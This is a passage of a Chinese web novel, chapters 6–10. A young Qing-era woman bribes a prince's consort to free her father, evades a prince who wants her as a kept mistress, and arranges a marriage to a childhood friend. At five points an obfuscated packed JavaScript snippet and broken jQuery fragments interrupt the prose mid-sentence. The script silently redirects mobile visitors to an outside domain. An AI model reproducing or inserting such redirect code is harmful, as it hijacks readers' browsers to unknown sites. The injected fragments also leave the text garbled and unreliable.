雅尔江阿听完后只是微微点头表示知道了,临近年关,过来简亲王府走亲戚的人不在少数,说是走亲戚,其实是攀亲戚,这个月府里的外客多了不少,进进出出的,就连他额娘娘家那边也有不少亲戚过来拜访,近的远的都会过来,她估计也是过来攀亲戚的,要真的跟李夫人是比较近的关系,他之前怎么会没见过她。
李夫人虽是庶福晋,但为他阿玛生了一儿一女,都没有夭折,他三弟跟三妹皆是李夫人所生。
他很快带着随从走开,没有闲心细问。
乌锦松一口气,简亲王世子跟多兰格格是一母所出,但看上去比多兰格格的性子要温和得多,她要是碰到多兰格格,免不了又是一番刁难。
今日京城气温又降了,天阴阴的,乌锦冷得哆嗦一下身子,拢紧身上的袄子,将双手插进兜里暖暖。
6. 第6章
第6章
过了许久,在乌锦被冷风吹得身子直发凉后,进去通传的看卫终于出来,后头跟着李夫人的心腹大丫鬟冬雪出来,冬雪眼角上掀,眼神示意她跟着她。
简亲王府地广开阔,庭院众多,曲廊蜿蜒,亭台楼榭,乌锦跟在冬雪后头,一路左拐右拐才来到李夫人的所在宅院。
冬雪引着她到东次间,替她掀开厚帘,让她进去。
“谢谢冬雪姑娘。”
乌锦进入屋内,屋内燃着冬炭,暖和许多,只见屋内靠墙边是大铺炕,铺炕上面铺着大红色缠枝石榴花软垫,炕里边上竖着一盘绦朵花锦靠背跟一个长柱引枕,中间放着朱色炕几,炕几上面摆着不少冬日零嘴。
庶福晋李夫人穿着圆立领宝蓝色缎绣折枝桃花纹褙子,慵懒地斜靠在靠背上,另外有一叫秋菊的丫鬟正给李夫人捏腿。
乌锦到炕前半跪着给李夫人行礼问安。
李夫人不慌不忙,先是捧着一青花茗碗抿两口热茶,后慢悠悠说道:“外头冷,你先暖暖身子,把暖手炉给乌姑娘。”
冬雪递来一暖手炉想给乌锦捧着,乌锦推脱道:“多谢福晋的好意,奴婢不冷,这屋里热,奴婢一进来就不觉得冷了。”
“可还是为了你阿玛的事?你阿玛还没放出来吗?”
见李夫人主动提起她阿玛,乌锦边跪下来边顺着说道:“福晋,奴婢的阿玛的确还没放出来,奴婢的阿玛明明没犯大错,不知为何还关在狱中,许是被落下了,福晋,快过年了,奴婢的阿玛年纪大,身子怕是撑不住,还请福晋帮帮奴婢,福晋跟王爷说一声,若是奴婢的阿玛犯下大错,再怎么责罚都不为过,只是奴婢的阿玛真的只是松散一些,没犯大错,关押的人太多,年前事多,那些人释放的时候可能把奴婢的阿玛遗漏了,还请福晋跟王爷说一声,放奴婢的阿玛出来,奴婢求福晋了,福晋的大恩大德,奴婢一辈子谨记在心。”
乌锦晓得简亲王是镶蓝旗旗主,只要王爷开口,那些人也不敢不从,再怎么样,简亲王都算是裕亲王世子的长辈,又是真真正正的旗主,一旗之首,甚至旗主对本旗统领管辖的权利可以越过圣上,大部分旗民旗兵更认本旗旗主为真正的主子,而非圣上。
正因为如此,才会有各旗都统跟副都统等武职,都统的存在就是为了削弱旗主手头上的权利。
况且她觉得爱新觉罗.保泰也不会把这种事闹到明面,养外室可不是什么可以取得好名声的事情,她想那人应该还是会在乎自己的名声。
乌锦递上她拿来的雕花方盒跟用帕子包好的二百两银子。
冬雪将盒子呈上,李夫人打开一看,里头的银镀金嵌红珠宝石蝴蝶簪跟吉祥如意碧玉坠子对她而言算不上十分要好,价值连城的东西,她本来就身处皇家,什么稀缺首饰没见过,不过她也知道这对普通人家而言是好东西。
她将盒子跟银两都放在炕几上,笑道:“此事我记下了,我会跟王爷说一说的,若你阿玛没什么大错,的确不该关那么久,你有孝心,我知道,放心吧,能帮你的我会帮你的,回去替我给你姑父姑母他们问好。”
乌锦千恩万谢,对着李夫人磕了几个响头,随后才被冬雪领着出了厢房,从王府后门出去了。
冬雪回来时忍不住说了一句:“夫人,你真要帮她?”
李氏伸手在碟子上捻了一块冬瓜糖放进嘴里,随后才说道:“举手之劳,动动嘴的事,帮她又何妨,乌姑娘瞧着是机灵的,上次送来的料子也是极好的,这次又送首饰又送银两,送过来的东西都没有糊弄,我跟王爷说几句话而已,她阿玛没出事前,她也给我们送了几次礼,她姑母姑父那边跟我们李家有着姻亲,抬头不见低头见的,能帮就帮吧,往后说不定有我们靠别人的时候,人不能只顾眼前,得看得长远一些。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878487|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>乌家虽不是什么十分富贵人家,但也是正经的八旗旗民,乌锦的姑父萨齐是出身于上三旗的三等侍卫,纳喇一族家族庞大,族里人关系紧密,不看佛面看僧面,不能光收礼不办事,没了信义。
“就怕她黏上夫人,想攀上我们王府。”
李氏摇摇头,她跟乌锦也见过好几面了,乌锦远比她阿玛跟额娘要聪明要懂得看人眼色,一个十七岁的姑娘家能撑起一间铺子,这铺子在京城的名声也不错,她听过京城内好几位大臣夫人称赞绣秀苑不错,不仅仅是乌锦针线活上等,她交际手段是可圈可点的,说明这人还是有头脑的,有头脑的人做事讲究分寸的。
“我们简亲王府哪是那么好攀的。”
李氏心里想的是当初她娘家李氏一族也是跟乌家一样都是普通旗民,她进王府只是庶福晋,如今依旧是庶福晋,若不是她生了一儿一女,慢慢在王府站稳脚跟,哪会有今日的风光,人在高处也别太得意忘形,把人都得罪了,一点小忙而已,帮了他们又能得到一番感激,也能拉拢人心,为何不帮。
“怎么说乌氏他们跟我们也是亲戚,虽然是远了几层,但跟我们李家走得近,能帮就帮吧,你盯着前院那边,看王爷什么时候回来,吩咐膳房那边炖一份鸽子汤,待会我拿去给王爷。”李氏交代道。
冬雪应下。
乌锦那边从王府出来后,仍然忧心忡忡,她不知李夫人能不能帮到她,她几乎没有任何存银了,若是这条路走不通,她都不知该怎么办了。
还有那人让她五日后过去百花酒楼,这五日,她阿玛若是没被放出来,她该不该过去酒楼见他?
若她依旧不愿,那人还会做出什么来逼迫她?
他位高权重,她怕她连累到家人,他们一家又不可能远离京城。
她第一眼就觉得对方不好相与,是危险的人,一想到那人,乌锦就忍不住焦虑不安起来。
7. 第7章
第7章
冬日严寒,昨夜下了一场细雨,京城愈加寒风刺骨,地面潮湿阴冷,院子里的桃树树叶发黄,几乎掉光了,一大早的天色就灰蒙蒙的,不见光亮。
乌锦吃过早膳后便跟彩玉去绣秀苑,她在铺子里刺绣,彩玉接待进来的客人。
已经过去三日了,离裕亲王世子说的五日之约只剩下一日,每一日对乌锦而言都是煎熬,她整个人十分焦躁,却什么都做不了,银子花得差不多了,该找的人也找了。
乌家这阵子笼罩在阴影中,除了年纪尚小的乌明还不懂发生了什么,其他人心里都不安压抑,如同今日沉闷阴暗的天色,没有一点过年前的喜色。
因昨夜下雨,今日过冷的缘故,铺子里没客人,彩玉帮着她勾针解丝线。
不知过了多久,程姨娘突然气喘吁吁地进来,本以为她是过来给她们送午膳,可手里却没有提着食盒。
“桃子,你阿玛被放出来了,已经回家啦。”程姨娘说得急,最后一句话带有明显的上扬,脸上露出难得的笑容。
彩玉比她反应还快,眼睛放光,惊道:“老爷被放出来了?小姐,你听到没有?老爷真的被放出来了吗?”
程姨娘连连点头,激动得开始哽咽泛泪:“是真的,他已经回到家了,你们大娘让我赶紧过来告诉你们。”
乌锦当即决定关掉铺子回家,归心似箭,反正今日也没什么客人。
绣秀苑离她家也不远,走路一刻钟便到了,她们三人走得快,顾不上地面上的泥泞,不到一刻钟便回到家了。
乌锦掀开毡帘进屋,她阿玛坐在铺炕上背着她在逗乌明,那背影有些瘦削,她忍不住喊一声:“阿玛……”
乌志善回过头,见是自家女儿,顿时欢喜笑道:“桃子,阿玛……”
乌锦没等他说完就扑进他怀里,头埋在他怀里掉眼泪,短短二十多天,她阿玛肉眼可见变瘦了,这阵子隐忍克制的情绪一下子爆发出来,平安归来就好,没什么比平安归来更重要。
“你不知道桃子为了你求了多少人,大把银两花出去,没有桃子,你怕是还在狱中。”完颜氏抹抹眼泪说道。
乌志善安抚地拍拍自家女儿的后背,“乖女儿,阿玛没犯什么大错,迟早都会被放出来的,不必去求人,那些银两留着多好。”
完颜氏没好气地推了推丈夫:“你说得轻松,别人都被放出来了,唯独你没被放出来,你一把老骨头了,万一在狱中出什么事,你让我们怎么办,我们难道不知道银两留着是好事嘛,没有桃子去求你堂姐他们,往衙门跟旗司来回跑,你哪能被放出来,你都瘦了一圈,再关下去就只剩下一把骨头了,能不能活着出来都不知道。”
乌志善尴尬地摸了摸头。
乌锦情绪也平复下来了,从她阿玛怀里出来,擦去眼泪,“阿玛回来就好,钱财比不上阿玛重要,额娘,小娘,今日得多做一些好吃的。”
乌志善乐呵憨厚地笑道:“还是女儿好,阿玛没白疼你,不愧是阿玛的小棉袄,会心疼阿玛,其实没什么大事,我这不是被放出来了嘛,都别哭了,这快过年了,哭哭啼啼像什么样子。”
说起来她阿玛迟迟不被放出来还是因她而起,乌锦想到爱新觉罗.保泰,又忧心起来。
人总算是回来了,不幸中的万幸。
到了午时,她额娘跟程姨娘在灶台忙活,连炒了好几道菜,除了乌安还在学堂上课,一家人总算是能坐在一块吃饭。
她阿玛这人性子就是很包容,很多事情不会去计较,她额娘总说她阿玛是泥捏的性子,踹他两脚他都不会生气。
她阿玛虽不知道为何他被关那么久,但他说既然出来了,此事就不要去追问下去,让它结束,他们普通人家惹不起官爷。
她阿玛高兴地多喝几杯自家酿的桂花酒,用过膳后就到床上睡觉了,估摸着在狱中也没睡好。
乌锦这边跟她额娘她们在铺炕上闲聊,因她阿玛没出来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878488|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她们都没有心思准备过年的事情,屋里屋外都没打扫,年货也没买。
人回来了,她们才有心思折腾这些事。
乌锦漫不经心地听着额娘跟小娘说着家里琐事,脑子已经在想着明日的事。
她还是不能太过直接得罪裕亲王世子,万一遭到报复怎么办,只是她也不能再过去包厢,那人要是对她做什么,他们人多势众,她也很难逃脱。
傍晚时分,乌安从学堂那边回来了,一家人真正聚齐,欢欢喜喜地吃了一顿团圆饭。
第二天,乌锦提前两个时辰先到百花酒楼,给百花酒楼的伙计一两银子,让对方替她传话。
到了午时正,胤禛过来酒楼,依旧在芍药阁内坐着等人出现,他昨日便听说乌志善被放出来了,是简亲王下的令。
他还真不知道乌锦还有这能耐,能说动简亲王帮她,他倒要看看今日她会不会出现,他耐着性子等。
哪怕已经过了约定好的时辰,他还坐着等。
就这样等了超过半个时辰,他知道乌锦不会过来了,她阿玛已经被放出来了,她以为她阿玛被放出来,他就左右拿捏不了她,就万事大吉了?
简直是痴心妄想!
酒楼的伙计过来替乌锦传话,递给他一张纸条,娟秀的字体映入眼帘。
“世子爷,奴婢有亲事在身,只愿为妻,不愿为妾,还请世子爷见谅。”
胤禛捏着那张纸条,冷冷一笑,只愿为妻,不愿为妾,就凭她也配,他眼神变得凶戾,她一而再再而三地拒绝他,这般清高自傲,他偏要让她当见不得光的外室,更会让她后悔今日的不露面。
当真以为他是好性子,菩萨心肠,容得了她几次拒绝,他想要的人无论如何都会得到,到时候他会让她记住教训。
他撕碎那张纸条,一掌击在桌面上,脸色阴沉。
乌锦!
他定会让她跪下求他,将她磋磨,让她低头弯腰,像奴才一样跪着服侍他。
8. 第8章
第8章
乌锦一直在百花酒楼附近,见到爱新觉罗.保泰一行人出来,她从他脸上看不出来他有没有不悦,他跟旁边的太监随从说话时还露出笑容,整个人显得很温和,举手投足间仿佛是芝兰玉树般的贵公子。
乌锦心想他不可能娶她为正妻,是他做不到,而不是她做不到,他不该为难她才是。
看着人离开后,乌锦也才回家。
除夕将近,眼看着要过年了,她额娘她们将家里里里外外都清扫一遍,有掸扫晦气的寓意,除旧迎新,红对联跟门神都贴在大门前,各式各样窗花也贴在木窗上,府里入目都是喜气洋洋的红色。
乌安放假了,她的铺子暂时关了,年后再开,庆幸的是他们一家可以跟往年一样领年赏,不仅有饷银,还有一些旗司发放的年货,包括大米、鸡鸭鹅与布匹料子。
他们家特意做了一些过年特产,有红糖年糕、炸撒子、炸果子跟麻叶,乌锦拿着这些特产往上送到她阿玛的上司几个佐领跟参领,姑母一家跟简王府那里。
她晓得他们可能不缺这些吃食,但这是一种礼节,他们家存银花得差不多了,太贵重的礼也送不起。
终于到了除夕当天,申时两刻,天还没黑,他们一家人围着炉子吃锅子,终于是能欢喜安心地吃年夜饭。
乌安吃到包了铜钱的饺子,他们说乌安来年一定有好运,对着乌安说恭喜发财,大吉大利,乌安性子相对腼腆一些,不好意思地笑了笑,把铜钱擦了擦递给她,说是把好运传给她。
乌锦摸了摸乌安的头:“既然是你吃到的,应该是自己留着,上面有你的口水,我才不要。”
“姐姐,我以后一定会努力上进,给姐姐撑腰,当姐姐的靠山,我一定要当大官。”乌安难得郑重道。
乌锦心生感动,这个弟弟没白疼,她笑道:“你有这份心就好,姐姐以后就靠着你,乌家以后也靠着你啦。”
长辈们看到姐弟两如此和睦,感情要好,都在一旁笑呵呵地看着。
乌锦给乌安夹一块排骨,“好啦,快吃吧,等会一起去放炮。”
四岁的乌明一听到放炮,嘴里的食物还没吞下去就急着举起小手:“姐姐,哥哥,我也要去。”
一开口就有食物喷出,程姨娘没好气地捂住他的嘴,用手帕给他擦一擦,“除了吃就是玩,一听到这些就兴奋到不行,这性子也不知道是随了谁。”
完颜氏慈爱地看着乌明:“孩子还小,正是爱玩的年纪,别拘着他。”
“就怕天天想着玩,长大后也想着玩,一点都不稳重。”
乌志善开口道:“小孩子就是这样,小孩子需要稳重干什么,我儿子这样挺好的,好啦,大过年的,别教训孩子,别说那么多,继续吃饭吧。”
吃完年夜饭后,乌锦跟彩玉带着乌安跟乌明到巷子里跟附近的小孩子一起放炮,舍得给孩子花钱的人家买了不少小孩子能玩的鞭炮,有响炮、冲天炮跟摔炮,不舍得花钱的就跟着凑个热闹,人多,热热闹闹的,大家都开心。
彩玉带着乌安他们在胡同巷子里窜来窜去,哪边放鞭炮跑哪边去,很快不见人影了。
“桃子……”
乌锦自己站在原地看那些小孩玩的时候,身旁不知不觉站了一个人,她偏头一看是张宗,她怔愣一下,立即扬出笑容:“张大哥,你也来凑热闹啊。”
张宗比她年长一岁,他们两人从小认识,青梅竹马还算不上,因为张宗的阿玛如今已是镶蓝旗参领,从三品的武官,他自己年满十六岁就领了旗缺,跟她阿玛一样当了牛录,仅过两年,她听说张宗已经被分到骁骑营,成为骁骑校,正六品的武官。
因为镶蓝旗旗民大多是住在一块的,张府离他们家还挺近的,过几个胡同就到了,因而他们从小认识,但两家差距过大,他阿玛是她阿玛上司的上司,其实两家来往并不密切。
如今的张宗更是前程无可限量,短短两年的晋升已经超过她阿玛的二十几年,自从他领了旗缺当了牛录后,她很少能碰到他了。
许久没见,张宗原本白净的脸庞肤色变黝黑不少,穿着一身蓝色斗纹暗花绸夹袍,腰束白玉带,依旧能看出原先眉清目秀的影子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878489|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
张宗温柔地看着她,说道:“嗯,来凑热闹,我弟弟妹妹也在这边玩,只是这会不知道跑哪去了。”
差不多三年前,她选秀刚落选不久,张宗就对她表达过喜欢之意,想娶她为妻,只是那会她没有嫁人之意,便委婉拒绝他。
只是今日不同往日,她不知道裕亲王世子有没有断了心思,她说谎说自己有亲事在身,不管怎么样,她都得赶快寻一门亲事把自己嫁出去,只有这样,裕亲王世子才拿她没办法,他总不至于强抢人妻吧。
“你要放炮吗?我拿了几个摔炮。”
张宗摊开手掌,掌心里有三颗摔炮。
乌锦见他直盯着她,目光炽热,抿嘴笑了笑,说道:“张大哥,我又不是小孩子,这些是小孩子爱玩的。”
“没事,小孩子能玩的,我们也能玩。”张宗盯着乌锦的笑容,只觉得心被羽毛拨动一下,痒痒的,哪怕乌锦脸上有疤,他从来不觉得她不好看过,尤其是她那一双清亮的黑眸在又密又长的睫毛下仿佛含着水一般,潋滟盈洁。
他从小就觉得乌锦漂亮,他见过她没长疤的样子,那会她还没受伤,他从小就觉得乌锦很特别。
乌锦还是从他掌心拿一颗摔炮,甩在地上,只听见轻轻的啪啦一声,被不远处的鞭炮声掩盖住一大半。
见张宗没有要玩的意思,她把剩余两颗也摔了,说了一句挺好玩的。
“要是好玩的话,我把剩下那些鞭炮都拿过来给你玩。”
乌锦忙拦住张宗,“好啦,我已经玩够了,不用麻烦,许久没见张大哥,我们聊聊天吧,我听说张大哥升官了,先恭喜张大哥啦。”
张宗不以为意,说不过仗着家里而已,并非他有多大的能耐。
乌锦心想这满京城中的八旗子弟哪一个不是仗着家里,从一出生,大多数人的命已经被安排好了,就如同这京城的侍卫处大多出自上三旗以及宗室外藩的子弟一样。
她阿玛这么多年都没得到晋升,而他在两年内得到提拔,说明他还是有一定能力的,为人至少比她阿玛要圆滑玲珑得多。
9. 第9章
第9章
胡同里的每户人家门口都贴着红对联,挂着红灯笼跟门神,有些人家门口地面上满满的红色屑末,空气中有着淡淡硫磺的味道。
乌锦跟张宗并肩慢慢走着,远离了孩子群,周围安静不少。
“我听说你阿玛之前被下狱了。”
“是,不过好在现在没事了,人已经被放出来了。”
张宗欲言又止,其实他想问她为何不找他帮忙,自从三年前,他对她表达喜欢之意后,她有意避嫌,两人的关系不如小时候亲厚,话到嘴边,他还是忍回去了,只轻声说人被放出来就好。
“张大哥,你可说亲了?”
张宗一听这话,更是内心酸涩,面上努力掩饰自己的情绪:“这两年太忙,成天在兵营里,暂时没有功夫相看人家,乌妹妹呢?”
乌锦心思微动,偏头抬眸直视着张宗,柔声道:“我这两年也忙着照看我开的铺子,况且张大哥又不是不知道,我这张脸落下这么大一块疤,别人见到时都会吓一跳,一直都被嫌弃,不好说亲,不是谁都像张大哥这样不计较这些。”
“乌妹妹肯定能找到真心疼惜你的人。”张宗不敢看乌锦,默默移开视线。
乌锦继续说道:“那些人离我太远,我这两年想了许多,真心疼惜我,不嫌弃我的人少之又少,与其找一个我此前完全不认识的人,还不如找一个知根知底的,从小跟我一块长大,离我很近的人,我晓得那人是真心喜欢我,我嫁给他后,他会疼惜我。”
张宗不傻,总觉得乌锦话中暗藏着什么,他感到不可置信又怕自己误解,犹豫开口:“乌妹妹,那人离你很近是有多近?”
“近在眼前的那种近,近到我一抬手便能触碰到。”
张宗意识到乌锦真的是在说他,他一时激动,所有话都突然哽在喉咙里,不知从何说起,他不知乌锦为何改变想法,他只知自己要抓住这次机会,他不能再等三年。
他激动地抓住乌锦的手,“乌妹妹,你说的是真的?你愿意嫁给我?”
乌锦也反握住他的手,眉眼弯弯:“张大哥,三年过去,你都没有说亲,是在等我吗?”
“是,我记得乌妹妹小时候说过你只愿意为人正妻,想一生一世一双人,我要是跟别人说亲了,乌妹妹便不可能跟我在一起了。”
乌锦挑眉,有些诧异,她都不记得自己说过这话,她毕竟是来自二十一世纪的人,一夫多妻对她而言是不可忍受的,可能她当时以为张宗年纪小,不记事,不知不觉中对他说了实话。
张宗对她这种家世的女子已经是优选,在外人眼里,绝对是她高攀了他,他对她还有情意,为人上进,仪表堂堂,其实嫁给他不是一件坏事,日子可能会过得平凡一些,但正是她想要的,平平淡淡也是一种福。
想开后的乌锦整个人柔和下来,看着他清俊的脸庞,弯了弯唇,眼里含着笑意:“张大哥,你先松手吧,被人瞧见不好。”
张宗这才赶紧松手,尴尬地摸了摸头,男未婚女未嫁,他们还没有成亲,这种亲昵的举动的确不大妥当。
“张大哥,我们年纪都不小了,先前耽误了三年,我希望你尽快提亲,越快越好,你能做到吗?”
张宗想也没想点头,乌妹妹说得对,他们年纪不小了,他因为年纪不小,却一直不说亲,被家里人念叨了许久,他额娘给他说了好几门亲事,都被他强硬地拒绝,他也想尽快娶她入门,免得多生变故。
他肯定道:“乌妹妹说得对,趁着过年,不如大年初五,我带我家中长辈过去你家,商量我们的亲事。”
“那就大年初五,我也回去跟我阿玛额娘他们说一声。”
跟张宗分开后,乌锦走回自己家,乌安他们在外面玩得不亦乐乎,还没有回来,而他们的邻居马佳氏过来找她额娘跟小娘唠嗑。
三个女人坐在铺炕上,边嗑瓜子边聊日常琐事,她阿玛不知去哪了,大家的年夜饭大多在天黑前吃完,多半在下午,旗人的习俗之一,所以年夜饭过后到天黑前这一两个时辰是后宅女子最清闲的时候。
“三婶,过年好。”
马佳氏的丈夫有两个哥哥,几家人住在一块,她的侄子侄女跟她是同辈人,都叫她三婶,于是她随着叫三婶,也好区分马佳氏上头的妯娌。
“桃子回来啦,来,喝口面茶,热乎的,这是你三婶自己家磨的,特别好喝。”
乌锦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878490|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟着盘腿坐在铺炕上,接过马佳氏递过来的那碗面茶,面茶的主要底料是糜子面,是黄小米研磨成粉制成,熬煮成糊糊状后往里面放芝麻酱、盐跟香油,再撒些炒好的花生碎,有时候还会放些坚果碎。
她用瓷勺舀一口放进嘴里,浮在最上面的芝麻酱入口浓香,芝麻的香味四溢,温热的面茶喝着正好,她很快就喝掉半碗。
“桃子,三婶家还有,你要是觉得不够,三婶再去盛一碗给你。”
乌锦赶忙摆手:“三婶,够了够了,方才才吃过年夜饭,不是特别饿,这面茶很好喝,三婶家做的面茶一向好喝,一点都不稀,满是芝麻香,我都想跟着三婶学着做了。”
马佳氏为人爽朗热心,她听完后立即乐呵大笑:“好好好,下次我做的时候把你叫过去,这可是你三婶独门手艺,轻易不教人的。”
“三婶对我真好,谢谢三婶。”
“你这孩子也是我看着长大的,能对你不好吗?你已经是我半个女儿了,真不用跟三婶客气,想喝的话,三婶再去盛一碗给你,反正我们两家离得近,走两步就到了。”
完颜氏笑道:“好啦,她肚子估计撑着呢,喝一碗就够了,桃子,不许太贪嘴。”
马佳氏突然话题一转:“桃子的亲事还没着落吗?桃子可是好姑娘,谁能娶到桃子,那是天大的福气,要不是我儿子年纪还小,我都想让我儿子娶桃子了。”
马佳氏大儿子才九岁,跟乌安算是同龄人,在她看来就是屁大的孩子,乌锦一听这话,顿时哭笑不得。
完颜氏倒是重重叹口气,显然是为她的亲事发愁,让马佳氏有认识的适龄男子可以介绍给她,家世不重要,重要的是人品过得去。
“放心吧,我会留心的,你别太担心,我看桃子是个聪明的姑娘,说不定她过一阵子就给你找回来一如意夫婿,到时候是你们这些当额娘的舍不得女儿嫁出去。”
乌锦不由心里一紧,三婶这话蒙对了,她既然让张宗大年初五上门,那她跟张宗的亲事估计离得不远了,反正不适合拖久,她想着两三个月就走完流程,成为人妻。
马佳氏在她们家坐了好一会,聊尽兴后心满意足提着装面茶的铜壶才离开。
10. 第10章
第10章
乌志善从外面回来,说他赢了一两银子,原来跑去胡同前头跟别人去玩叶子牌了,赢钱的他乐得合不拢嘴,大爷般到铺炕上侧躺下,腿伸直,让程姨娘给他捶腿。
程姨娘没惯着他,用力捶了一下,说了一句他想得美。
乌志善嘟囔一句这婆娘中看不中用,程姨娘气得直接上手捏他的耳朵。
完颜氏在一旁笑着这一幕。
乌锦也欣慰地看着,家和万事兴,他们家的日子虽过得普通平淡但祥和安乐,此时时机正好,她便出声道:“阿玛、额娘、小娘,我跟你们说一件事,大年初五,张宗说他会让家中长辈过来提亲。”
完颜氏没反应过来,下意识地问了一句跟谁提亲。
程姨娘拍了拍她额娘的手背,“可茹,你还有几个女儿让人过来提亲,当然是桃子,桃子,你说的张宗是张文渊的长子张宗吗?跟你从小认识的张宗?”
乌锦点头说是。
程姨娘目露讶色。
完颜氏同样惊讶,她记得张宗,跟自家女儿是同龄人,小时候还来过他们家跟乌锦一块玩,张宗的父亲张文渊先前是镶蓝旗的佐领,如今已经是参领,她之前让自家丈夫多去讨好张文渊,只是丈夫是榆木脑袋,不擅长溜须拍马,阿谀奉承这种事,眼看着张文渊节节高升,她丈夫还只是普通的牛录。
张宗更不用说了,那孩子听说前两年领了旗缺后进兵营后,短短两年已经升为正六品的武官,那是个样貌端正,眉眼齐全的孩子,每次见到她也是彬彬有礼的,她是有想过自家女儿能嫁给张宗就好了,先前她厚着脸皮主动让媒人把自家女儿暗暗介绍给张家,让媒人撮合,结果媒人回来跟她说张家那边门槛高,言下之意就是看不上她女儿,此事也只能作罢。
如今怎么又突然上门提亲了?还是大年初五,岂不是只剩下四天了?
完颜氏看着自家女儿,还是一脸不可置信:“桃子,你说的可是真的?他们真的要上门提亲?那你跟张宗有往来吗?这可不是小事,不能随便说的。”
乌锦说她跟张宗从小就认识,知根知底的,正好他没娶妻,她也还没嫁人,所以就商量着结成一对。
程姨娘说道:“这会不会太匆忙了一些?”
乌志善也从铺炕上坐起来。
乌锦说只是大年初五过来提亲,具体成亲的日子日后再定,她跟张宗年纪都不小了,又不像别人此前互不相识,所以不算太匆忙。
程姨娘听乌锦这么说就知道她自己已经决定下来了,只是跟他们说一声,乌锦这孩子从小就成熟,基本上不用大人操心,而且特别有主见,她决定的事情恐怕他们也左右不了,做长辈的只能支持,于是她肯定道:“张宗这孩子不错,也是我们看着长大的,张家跟我们乌家也是同旗的,算得上门当户对,这是好事,可茹,你这两年一直操心桃子的亲事,这下好了,桃子自己挑的人比你挑的那些人好上几倍。”
完颜氏倒觉得张家的确是门槛高了一些,尤其张宗是他们张家的长子,前途又好,他那额娘眼高的,谁都看不起的样子,她怕别人嫌弃自家女儿,嫁过去要看人脸色,低声下气地过日子。
乌志善也同样觉得这是一门好亲事,他赞同道:“我见过张宗几次,相貌堂堂,配得上我们女儿,既然他们大年初五上门提亲,我们得提前准备好,不给桃子丢人,夫人,这两日我们一起去姑姑他们那走一趟,看他们能不能在大年初五当日过来一趟,作为长辈跟张家人谈亲。”
乌锦有些动容,她阿玛这是要请姑母姑父他们给她撑腰,不能让人看低,请来的长辈身份尊贵,别人自然不敢轻视,她一只手握住阿玛,一只手握着额娘,眼看着程姨娘说道:“你们不用太担心,张宗与我是自小相识,他品性不错,我才同意这门亲事的。”
“额娘相信你的眼光,放心吧,我们不会给我们锦儿丢脸的。”完颜氏搂抱住自家女儿,眼里泛红,算是同意了。
当天夜里,他们一家人守岁,到了亥时末后,他们放了一打鞭炮,又去家中小祠堂拜祖,年纪小的乌安乌明困得眼睛都快睁不开,但还是被叫醒吃过一碗素饺才让他们去睡觉,剩下的大人天微微亮才真正歇下。
翌日一早,他们又早早起来去永宁寺上香,路上还碰到马佳氏一家,大年初一的永宁寺是人挤人,熙熙攘攘,附近的百姓都过来上香,热闹非凡,一路上每个人都喜气洋洋,遇到相熟的说一句新年好、大吉大利等的吉祥话,小孩大多穿着□□扎着小辫子,女孩绑着马尾,有些眉间特意点了一颗红点,跟年画走出来的福娃娃一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878491|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而大人手上都拿着香跟祭拜用的红烛跟宝纸。
从永宁寺回到家后,乌锦累得回床上补觉,而她阿玛他们马不停蹄地过去她姑母家,程姨娘在家照顾乌安乌明两兄弟。
她这一觉直接睡到傍晚,用晚膳的时候,她额娘说她姑母他们答应在大年初五当天过来。
